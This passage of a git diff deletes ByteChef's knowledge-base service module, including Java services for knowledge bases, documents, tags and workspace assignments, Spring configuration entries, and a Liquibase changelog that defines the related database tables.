- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.dto.DocumentStatusUpdate;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseDocumentServiceImpl implements KnowledgeBaseDocumentService {
-
-    private final KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    KnowledgeBaseDocumentServiceImpl(KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository) {
-        this.knowledgeBaseDocumentRepository = knowledgeBaseDocumentRepository;
-    }
-
-    @Override
-    public void delete(long id) {
-        knowledgeBaseDocumentRepository.deleteById(id);
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public KnowledgeBaseDocument getKnowledgeBaseDocument(long id) {
-        return knowledgeBaseDocumentRepository.findById(id)
-            .orElseThrow(() -> new RuntimeException("KnowledgeBase document not found: " + id));
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBaseDocument> getKnowledgeBaseDocuments(long knowledgeBaseId) {
-        return knowledgeBaseDocumentRepository.findAllByKnowledgeBaseId(knowledgeBaseId);
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public DocumentStatusUpdate getKnowledgeBaseDocumentStatus(long id) {
-        KnowledgeBaseDocument document = getKnowledgeBaseDocument(id);
-
-        return DocumentStatusUpdate.of(document.getId(), document.getStatus());
-    }
-
-    @Override
-    public KnowledgeBaseDocument saveKnowledgeBaseDocument(KnowledgeBaseDocument knowledgeBaseDocument) {
-        return knowledgeBaseDocumentRepository.save(knowledgeBaseDocument);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagServiceImpl.java
deleted file mode 100644
index 97372fe25d4..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagServiceImpl.java
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.stream.Collectors;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseDocumentTagServiceImpl implements KnowledgeBaseDocumentTagService {
-
-    private final KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-    private final TagService tagService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseDocumentTagServiceImpl(
-        KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository, TagService tagService) {
-
-        this.knowledgeBaseDocumentRepository = knowledgeBaseDocumentRepository;
-        this.tagService = tagService;
-    }
-
-    @Override
-    public List<Tag> getAllTags() {
-        Set<Long> ids = new HashSet<>();
-
-        for (KnowledgeBaseDocument document : knowledgeBaseDocumentRepository.findAll()) {
-            List<Long> tagIds = document.getTagIds();
-
-            if (tagIds != null) {
-                ids.addAll(tagIds);
-            }
-        }
-
-        if (ids.isEmpty()) {
-            return List.of();
-        }
-
-        return tagService.getTags(new ArrayList<>(ids));
-    }
-
-    @Override
-    public Map<Long, List<Tag>> getTagsByKnowledgeBaseDocumentId() {
-        Map<Long, List<Tag>> map = new HashMap<>();
-
-        List<KnowledgeBaseDocument> documents = new ArrayList<>();
-
-        knowledgeBaseDocumentRepository.findAll()
-            .forEach(documents::add);
-
-        Map<Long, List<Long>> tagIdsByDocumentId = documents.stream()
-            .collect(Collectors.toMap(
-                KnowledgeBaseDocument::getId,
-                document -> document.getTagIds() == null ? List.of() : document.getTagIds()));
-
-        for (Map.Entry<Long, List<Long>> entry : tagIdsByDocumentId.entrySet()) {
-            List<Long> ids = entry.getValue();
-
-            map.put(entry.getKey(), ids == null || ids.isEmpty() ? List.of() : tagService.getTags(ids));
-        }
-
-        return map;
-    }
-
-    @Override
-    public Map<String, List<Tag>> getTagsByKnowledgeBaseDocumentName() {
-        Map<String, List<Tag>> map = new HashMap<>();
-
-        List<KnowledgeBaseDocument> documents = new ArrayList<>();
-
-        knowledgeBaseDocumentRepository.findAll()
-            .forEach(documents::add);
-
-        Map<String, List<Long>> idsByName = documents.stream()
-            .collect(Collectors.toMap(
-                KnowledgeBaseDocument::getName,
-                document -> document.getTagIds() == null ? List.of() : document.getTagIds()));
-
-        for (Map.Entry<String, List<Long>> entry : idsByName.entrySet()) {
-            List<Long> ids = entry.getValue();
-
-            map.put(entry.getKey(), ids == null || ids.isEmpty() ? List.of() : tagService.getTags(ids));
-        }
-
-        return map;
-    }
-
-    @Override
-    public void updateTags(long knowledgeBaseDocumentId, List<Tag> tags) {
-        KnowledgeBaseDocument document = knowledgeBaseDocumentRepository.findById(knowledgeBaseDocumentId)
-            .orElseThrow(
-                () -> new IllegalArgumentException(
-                    "KnowledgeBaseDocument with id=" + knowledgeBaseDocumentId + " not found"));
-
-        List<Tag> resolvedTags;
-
-        if (tags == null || tags.isEmpty()) {
-            resolvedTags = List.of();
-        } else {
-            List<Tag> tagsToSave = tags.stream()
-                .filter(tag -> tag.getId() == null)
-                .toList();
-
-            if (!tagsToSave.isEmpty()) {
-                List<Tag> savedTags = tagService.save(tagsToSave);
-
-                List<Tag> withIds = new ArrayList<>(tags);
-                int index = 0;
-
-                for (int i = 0; i < withIds.size(); i++) {
-                    Tag tag = withIds.get(i);
-
-                    if (tag.getId() == null) {
-                        withIds.set(i, savedTags.get(index++));
-                    }
-                }
-
-                resolvedTags = withIds;
-            } else {
-                resolvedTags = tags;
-            }
-        }
-
-        document.setTags(resolvedTags);
-
-        knowledgeBaseDocumentRepository.save(document);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceImpl.java
deleted file mode 100644
index 196b5c70390..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceImpl.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseServiceImpl implements KnowledgeBaseService {
-
-    private final KnowledgeBaseRepository knowledgeBaseRepository;
-
-    public KnowledgeBaseServiceImpl(KnowledgeBaseRepository knowledgeBaseRepository) {
-        this.knowledgeBaseRepository = knowledgeBaseRepository;
-    }
-
-    @Override
-    public KnowledgeBase createKnowledgeBase(KnowledgeBase knowledgeBase) {
-        return knowledgeBaseRepository.save(knowledgeBase);
-    }
-
-    @Override
-    public void deleteKnowledgeBase(Long id) {
-        knowledgeBaseRepository.deleteById(id);
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public KnowledgeBase getKnowledgeBase(Long id) {
-        return knowledgeBaseRepository.findById(id)
-            .orElseThrow(() -> new RuntimeException("KnowledgeBase not found: " + id));
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBase> getKnowledgeBases() {
-        return knowledgeBaseRepository.findAll();
-    }
-
-    @Override
-    public KnowledgeBase updateKnowledgeBase(Long id, KnowledgeBase knowledgeBase) {
-        KnowledgeBase existingKnowledgeBase = getKnowledgeBase(id);
-
-        existingKnowledgeBase.setName(knowledgeBase.getName());
-        existingKnowledgeBase.setDescription(knowledgeBase.getDescription());
-        existingKnowledgeBase.setMaxChunkSize(knowledgeBase.getMaxChunkSize());
-        existingKnowledgeBase.setMinChunkSizeChars(knowledgeBase.getMinChunkSizeChars());
-        existingKnowledgeBase.setOverlap(knowledgeBase.getOverlap());
-
-        return knowledgeBaseRepository.save(existingKnowledgeBase);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagServiceImpl.java
deleted file mode 100644
index babd580da76..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagServiceImpl.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.stream.Collectors;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseTagServiceImpl implements KnowledgeBaseTagService {
-
-    private final KnowledgeBaseRepository knowledgeBaseRepository;
-    private final TagService tagService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseTagServiceImpl(KnowledgeBaseRepository knowledgeBaseRepository, TagService tagService) {
-        this.knowledgeBaseRepository = knowledgeBaseRepository;
-        this.tagService = tagService;
-    }
-
-    @Override
-    public List<Tag> getAllTags() {
-        Set<Long> ids = new HashSet<>();
-
-        for (KnowledgeBase knowledgeBase : knowledgeBaseRepository.findAll()) {
-            List<Long> tagIds = knowledgeBase.getTagIds();
-
-            if (tagIds != null) {
-                ids.addAll(tagIds);
-            }
-        }
-
-        if (ids.isEmpty()) {
-            return List.of();
-        }
-
-        return tagService.getTags(new ArrayList<>(ids));
-    }
-
-    @Override
-    public Map<Long, List<Tag>> getTagsByKnowledgeBaseId() {
-        Map<Long, List<Tag>> map = new HashMap<>();
-
-        List<KnowledgeBase> knowledgeBases = new ArrayList<>();
-
-        knowledgeBaseRepository.findAll()
-            .forEach(knowledgeBases::add);
-
-        Map<Long, List<Long>> tagIdsByKnowledgeBaseId = knowledgeBases.stream()
-            .collect(Collectors.toMap(
-                KnowledgeBase::getId,
-                knowledgeBase -> knowledgeBase.getTagIds() == null ? List.of() : knowledgeBase.getTagIds()));
-
-        for (Map.Entry<Long, List<Long>> entry : tagIdsByKnowledgeBaseId.entrySet()) {
-            List<Long> ids = entry.getValue();
-
-            map.put(entry.getKey(), ids == null || ids.isEmpty() ? List.of() : tagService.getTags(ids));
-        }
-
-        return map;
-    }
-
-    @Override
-    public Map<String, List<Tag>> getTagsByKnowledgeBaseName() {
-        Map<String, List<Tag>> map = new HashMap<>();
-
-        List<KnowledgeBase> knowledgeBases = new ArrayList<>();
-
-        knowledgeBaseRepository.findAll()
-            .forEach(knowledgeBases::add);
-
-        Map<String, List<Long>> idsByName = knowledgeBases.stream()
-            .collect(Collectors.toMap(
-                KnowledgeBase::getName,
-                knowledgeBase -> knowledgeBase.getTagIds() == null ? List.of() : knowledgeBase.getTagIds()));
-
-        for (Map.Entry<String, List<Long>> entry : idsByName.entrySet()) {
-            List<Long> ids = entry.getValue();
-
-            map.put(entry.getKey(), ids == null || ids.isEmpty() ? List.of() : tagService.getTags(ids));
-        }
-
-        return map;
-    }
-
-    @Override
-    public void updateTags(long knowledgeBaseId, List<Tag> tags) {
-        KnowledgeBase knowledgeBase = knowledgeBaseRepository.findById(knowledgeBaseId)
-            .orElseThrow(() -> new IllegalArgumentException("KnowledgeBase with id=" + knowledgeBaseId + " not found"));
-
-        List<Tag> resolvedTags;
-
-        if (tags == null || tags.isEmpty()) {
-            resolvedTags = List.of();
-        } else {
-            List<Tag> tagsToSave = tags.stream()
-                .filter(tag -> tag.getId() == null)
-                .toList();
-
-            if (!tagsToSave.isEmpty()) {
-                List<Tag> savedTags = tagService.save(tagsToSave);
-
-                List<Tag> withIds = new ArrayList<>(tags);
-                int index = 0;
-
-                for (int i = 0; i < withIds.size(); i++) {
-                    Tag tag = withIds.get(i);
-
-                    if (tag.getId() == null) {
-                        withIds.set(i, savedTags.get(index++));
-                    }
-                }
-
-                resolvedTags = withIds;
-            } else {
-                resolvedTags = tags;
-            }
-        }
-
-        knowledgeBase.setTags(resolvedTags);
-
-        knowledgeBaseRepository.save(knowledgeBase);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseServiceImpl.java
deleted file mode 100644
index 49a2ad711eb..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseServiceImpl.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.WorkspaceKnowledgeBase;
-import com.bytechef.automation.knowledgebase.repository.WorkspaceKnowledgeBaseRepository;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * Implementation of the {@link WorkspaceKnowledgeBaseService} interface.
- *
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class WorkspaceKnowledgeBaseServiceImpl implements WorkspaceKnowledgeBaseService {
-
-    private final WorkspaceKnowledgeBaseRepository workspaceKnowledgeBaseRepository;
-
-    public WorkspaceKnowledgeBaseServiceImpl(WorkspaceKnowledgeBaseRepository workspaceKnowledgeBaseRepository) {
-        this.workspaceKnowledgeBaseRepository = workspaceKnowledgeBaseRepository;
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<WorkspaceKnowledgeBase> getWorkspaceKnowledgeBases(Long workspaceId) {
-        return workspaceKnowledgeBaseRepository.findAllByWorkspaceId(workspaceId);
-    }
-
-    @Override
-    public void assignKnowledgeBaseToWorkspace(Long knowledgeBaseId, Long workspaceId) {
-        WorkspaceKnowledgeBase existing = workspaceKnowledgeBaseRepository.findByWorkspaceIdAndKnowledgeBaseId(
-            workspaceId, knowledgeBaseId);
-
-        if (existing == null) {
-            WorkspaceKnowledgeBase workspaceKnowledgeBase = new WorkspaceKnowledgeBase(knowledgeBaseId, workspaceId);
-
-            workspaceKnowledgeBaseRepository.save(workspaceKnowledgeBase);
-        }
-    }
-
-    @Override
-    public void removeKnowledgeBaseFromWorkspace(Long knowledgeBaseId) {
-        List<WorkspaceKnowledgeBase> existingRelationships =
-            workspaceKnowledgeBaseRepository.findByKnowledgeBaseId(knowledgeBaseId);
-
-        if (!existingRelationships.isEmpty()) {
-            workspaceKnowledgeBaseRepository.deleteAll(existingRelationships);
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring.factories b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring.factories
deleted file mode 100644
index 725be825ed8..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring.factories
+++ /dev/null
@@ -1,2 +0,0 @@
-org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.automation.knowledgebase.boot.KnowledgeBaseVectorStoreEnvironmentPostProcessor
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 3993574f0ca..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.automation.knowledgebase.config.AutomationKnowledgeBaseJdbcRepositoryConfiguration
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/config/liquibase/changelog/automation/knowledge_base/00000000000001_automation_knowledge_base_init.xml b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/config/liquibase/changelog/automation/knowledge_base/00000000000001_automation_knowledge_base_init.xml
deleted file mode 100644
index 8649a560d44..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/resources/config/liquibase/changelog/automation/knowledge_base/00000000000001_automation_knowledge_base_init.xml
+++ /dev/null
@@ -1,215 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
-                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                   xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
-                   http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.20.xsd">
-
-    <changeSet id="00000000000001" author="Ivica Cardic">
-        <createTable tableName="knowledge_base">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="name" type="VARCHAR(256)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="description" type="TEXT"/>
-            <column name="max_chunk_size" type="INT" defaultValueNumeric="1024"/>
-            <column name="min_chunk_size_chars" type="INT" defaultValueNumeric="1"/>
-            <column name="overlap" type="INT" defaultValueNumeric="200"/>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addUniqueConstraint tableName="knowledge_base" columnNames="name" constraintName="uk_knowledge_base_name"/>
-
-        <createTable tableName="knowledge_base_document">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="knowledge_base_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="name" type="VARCHAR(256)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="document" type="TEXT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="status" type="INT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_document"
-            baseColumnNames="knowledge_base_id"
-            constraintName="fk_kb_document_kb"
-            referencedTableName="knowledge_base"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <createTable tableName="knowledge_base_document_chunk">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="knowledge_base_document_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="vector_store_id" type="VARCHAR(256)"/>
-            <column name="content" type="TEXT"/>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_document_chunk"
-            baseColumnNames="knowledge_base_document_id"
-            constraintName="fk_kb_document_chunk_doc"
-            referencedTableName="knowledge_base_document"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <createTable tableName="knowledge_base_tag">
-            <column name="knowledge_base_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="tag_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addPrimaryKey tableName="knowledge_base_tag" columnNames="knowledge_base_id,tag_id"/>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_tag"
-            baseColumnNames="knowledge_base_id"
-            constraintName="fk_knowledge_base_tag_kb"
-            referencedTableName="knowledge_base"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_tag"
-            baseColumnNames="tag_id"
-            constraintName="fk_knowledge_base_tag_tag"
-            referencedTableName="tag"
-            referencedColumnNames="id"/>
-    </changeSet>
-
-    <changeSet id="00000000000002" author="Ivica Cardic">
-        <createTable tableName="workspace_knowledge_base">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="knowledge_base_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="workspace_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addForeignKeyConstraint
-            baseTableName="workspace_knowledge_base"
-            baseColumnNames="knowledge_base_id"
-            constraintName="fk_workspace_knowledge_base_knowledge_base"
-            referencedTableName="knowledge_base"
-            referencedColumnNames="id"/>
-
-        <addForeignKeyConstraint
-            baseTableName="workspace_knowledge_base"
-            baseColumnNames="workspace_id"
-            constraintName="fk_workspace_knowledge_base_workspace"
-            referencedTableName="workspace"
-            referencedColumnNames="id"/>
-
-        <addUniqueConstraint
-            constraintName="uk_workspace_knowledge_base_workspace_kb"
-            tableName="workspace_knowledge_base"
-            columnNames="workspace_id,knowledge_base_id"/>
-    </changeSet>
-
-    <changeSet id="00000000000003" author="Ivica Cardic">
-        <createTable tableName="knowledge_base_document_tag">
-            <column name="knowledge_base_document_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="tag_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addPrimaryKey tableName="knowledge_base_document_tag" columnNames="knowledge_base_document_id,tag_id"/>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_document_tag"
-            baseColumnNames="knowledge_base_document_id"
-            constraintName="fk_kb_document_tag_document"
-            referencedTableName="knowledge_base_document"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <addForeignKeyConstraint
-            baseTableName="knowledge_base_document_tag"
-            baseColumnNames="tag_id"
-            constraintName="fk_kb_document_tag_tag"
-            referencedTableName="tag"
-            referencedColumnNames="id"/>
-    </changeSet>
-</databaseChangeLog>
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfiguration.java
deleted file mode 100644
index 43b187af93e..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfiguration.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.config;
-
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.commons.data.jdbc.converter.FileEntryToStringConverter;
-import com.bytechef.commons.data.jdbc.converter.StringToFileEntryConverter;
-import com.bytechef.file.storage.FileStorageServiceRegistry;
-import com.bytechef.file.storage.service.FileStorageService;
-import com.bytechef.liquibase.config.LiquibaseConfiguration;
-import com.bytechef.message.broker.MessageBroker;
-import com.bytechef.test.config.jdbc.AbstractIntTestJdbcConfiguration;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Arrays;
-import java.util.List;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.ComponentScan.Filter;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.FilterType;
-import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
-import tools.jackson.databind.ObjectMapper;
-
-@ComponentScan(
-    basePackages = {
-        "com.bytechef.automation.knowledgebase",
-        "com.bytechef.jackson.config",
